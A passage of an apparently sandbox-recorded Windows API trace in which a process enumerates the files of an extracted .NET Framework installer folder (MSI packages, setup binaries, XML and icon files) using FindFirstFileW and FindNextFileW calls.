	[0041.529] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.529] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.529] FindNextFileW (in: hFindFile=0x743130, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0041.530] FindClose (in: hFindFile=0x743130 | out: hFindFile=0x743130) returned 1
	[0041.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0041.531] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.531] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7430f0
	[0041.531] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0041.531] FindNextFileW (in: hFindFile=0x7430f0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0041.531] FindClose (in: hFindFile=0x7430f0 | out: hFindFile=0x7430f0) returned 1
	[0041.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.532] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0041.532] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.532] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742df0
	[0041.584] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.584] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0041.584] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0041.585] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0041.586] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0041.586] FindClose (in: hFindFile=0x742df0 | out: hFindFile=0x742df0) returned 1
	[0041.608] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.608] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0041.609] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0041.645] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0041.645] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0041.646] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
